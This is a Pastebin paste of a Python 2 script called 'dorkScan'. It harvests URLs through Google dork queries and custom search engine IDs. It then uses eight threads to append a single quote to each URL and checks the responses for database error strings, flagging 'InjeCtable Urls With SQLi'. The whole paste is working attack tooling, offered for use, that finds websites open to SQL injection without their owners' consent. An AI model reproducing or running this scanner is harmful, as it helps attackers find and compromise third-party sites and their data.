indongsaeng

auto dorker

Oct 26th, 2013
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.73 KB | None | 0 0
  1. ##!/usr/bin/python
  2. # dorkScan
  3. # Code Mauritania InjeCtor
  4.  
  5. import string, sys, time, urllib2, cookielib, re, random, threading, socket
  6. from random import choice
  7. from optparse import OptionParser
  8.  
  9. threads = []
  10. numthreads = 8
  11. timeout = 4
  12. socket.setdefaulttimeout(timeout)
  13. version = '0.1a'
  14. ldm = 'jun_22_09'
  15.  
  16. rSA = [2,3,4,5,6]
  17.  
  18. CXdic = {'blackle': '013269018370076798483:gg7jrrhpsy4',
  19. 'ssearch': '008548304570556886379:0vtwavbfaqe',
  20. 'redfront': '017478300291956931546:v0vo-1jh2y4',
  21. 'bitcomet': '003763893858882295225:hz92q2xruzy',
  22. 'dapirats': '002877699081652281083:klnfl5og4kg',
  23. 'darkc0de': '009758108896363993364:wnzqtk1afdo',
  24. 'googuuul': '014345598409501589908:mplknj4r1bu'}
  25.  
  26. SQLeD = {'MySQL': 'error in your SQL syntax',
  27. 'Oracle': 'ORA-01756',
  28. 'MiscError': 'SQL Error',
  29. 'JDBC_CFM': 'Error Executing Database Query',
  30. 'JDBC_CFM2': 'SQLServer JDBC Driver',
  31. 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
  32. 'MSSQL_Uqm': 'Unclosed quotation mark',
  33. 'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
  34. 'MS-Access_JETdb': 'Microsoft JET Database'}
  35.  
  36.  
  37. filetypes = ['php','php5','asp','aspx','jsp','htm','html','cfm']
  38.  
  39. header = ['Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  40. 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  41. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  42. 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  43. 'Opera/8.00 (Windows NT 5.1; U; en)']
  44.  
  45. gnum = 100
  46.  
  47. def cxeSearch(go_inurl,go_site,go_cxe,go_ftype,maxc):
  48. uRLS = []
  49. counter = 0
  50. while counter < int(maxc):
  51. jar = cookielib.FileCookieJar("cookies")
  52. query = 'q='+go_inurl+'+'+go_site+'+'+go_ftype
  53. results_web = 'http://www.google.com/cse?'+go_cxe+'&'+query+'&num='+str(gnum)+'&hl=en&lr=&ie=UTF-8&start=' + repr(counter) + '&sa=N'
  54. request_web = urllib2.Request(results_web)
  55. agent = random.choice(header)
  56. request_web.add_header('User-Agent', agent)
  57. opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  58. text = opener_web.open(request_web).read()
  59. strreg = re.compile('(?<=href=")(.*?)(?=")')
  60. names = strreg.findall(text)
  61. counter += 100
  62. for name in names:
  63. if name not in uRLS:
  64. if re.search(r'\(', name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
  65. pass
  66. elif re.search("google", name) or re.search("youtube", name) or re.search(".gov", name) or re.search("%", name):
  67. pass
  68. else:
  69. uRLS.append(name)
  70. tmpList = []; finalList = []
  71. print "[+] URLS (unsorted) :", len(uRLS)
  72. for entry in uRLS:
  73. try:
  74. t2host = entry.split("/",3)
  75. domain = t2host[2]
  76. if domain not in tmpList and "=" in entry:
  77. finalList.append(entry)
  78. tmpList.append(domain)
  79. except:
  80. pass
  81. print "[+] URLS (sorted) :", len(finalList)
  82. return finalList
  83.  
  84. class injThread(threading.Thread):
  85. def __init__(self,hosts):
  86. self.hosts=hosts;self.fcount = 0
  87. self.check = True
  88. threading.Thread.__init__(self)
  89.  
  90. def run (self):
  91. urls = list(self.hosts)
  92. for url in urls:
  93. try:
  94. if self.check == True:
  95. ClassicINJ(url)
  96. else:
  97. break
  98. except(KeyboardInterrupt,ValueError):
  99. pass
  100. self.fcount+=1
  101.  
  102. def stop(self):
  103. self.check = False
  104.  
  105.  
  106. def ClassicINJ(url):
  107. EXT = "'"
  108. host = url+EXT
  109. try:
  110. source = urllib2.urlopen(host).read()
  111. for type,eMSG in SQLeD.items():
  112. if re.search(eMSG, source):
  113. print "V. Found:", host, "Error Type:", type
  114. else:
  115. pass
  116. except:
  117. pass
  118.  
  119. parser = OptionParser()
  120. parser.add_option("-i" ,type='string', dest='inurl',action='store', help="inurl: operator")
  121. parser.add_option("-s", type='string', dest='site',action='store', help="site: operator")
  122. parser.add_option("-c", type='string', dest='cxe',action='store', default='blackle', help="custom serach engine (blackle,ssearch,redfront,bitcomet,dapirats,darkc0de,googuuul)")
  123. parser.add_option("-f", type='string', dest='filetype',action='store', default='php', help="server side language filetype")
  124. parser.add_option("-m", type='string', dest='maxcount',action='store',default='500', help="max results (default 500)")
  125. (options, args) = parser.parse_args()
  126.  
  127. print "+-----------------------------------+"
  128. print "| dorkScan |"
  129. print "| Coded by Mauritania InjeCtor |"
  130. print "| -h for help |"
  131. print "+-----------------------------------+"
  132. if options.inurl != None:
  133. print "[+] inurl :",options.inurl
  134. go_inurl = 'inurl:'+options.inurl
  135. if options.inurl != None:
  136. if options.filetype in filetypes:
  137. print "[+] filetype :",options.filetype
  138. go_ftype = 'inurl:'+options.filetype
  139. else:
  140. print "[+] inurl-filetype : php"
  141. go_ftype = 'inurl:php'
  142. if options.site != None:
  143. print "[+] site :",options.site
  144. go_site = 'site:'+options.site
  145. if options.cxe != None:
  146. if options.cxe in CXdic.keys():
  147. print "[+] CXE :",CXdic[options.cxe]
  148. ccxe = CXdic[options.cxe]
  149. else:
  150. print "[-] CXE : no Proper CXE defined, using blackle"
  151. ccxe = CXdic['blackle']
  152. go_cxe = 'cx='+ccxe
  153. print "[+] MaxRes :",options.maxcount
  154. cuRLS = cxeSearch(go_inurl,go_site,go_cxe,go_ftype,options.maxcount)
  155. mnu = True
  156. while mnu == True:
  157. print "\n[1] InjeCtable Urls With SQLi"
  158. print "[2] Save Urls to File"
  159. print "[3] Show Urls"
  160. print "[0] Exit\n"
  161. chce = raw_input(":")
  162. if chce == '1':
  163. i = len(cuRLS) / int(numthreads)
  164. m = len(cuRLS) % int(numthreads)
  165. z = 0
  166. if len(threads) <= numthreads:
  167. for x in range(0, int(numthreads)):
  168. sliced = cuRLS[x*i:(x+1)*i]
  169. if (z < m):
  170. sliced.append(cuRLS[int(numthreads)*i+z])
  171. z += 1
  172. thread = injThread(sliced)
  173. thread.start()
  174. threads.append(thread)
  175. for thread in threads:
  176. thread.join()
  177. if chce == '2':
  178. fn = raw_input("filename :")
  179. fnp = open(fn, "w")
  180. for entry in cuRLS:
  181. fnp.write(entry+'\n')
  182. if chce == '3':
  183. for entry in cuRLS:
  184. print entry
  185. if chce == '0':
  186. mnu = False
Add Comment
Please, Sign In to add comment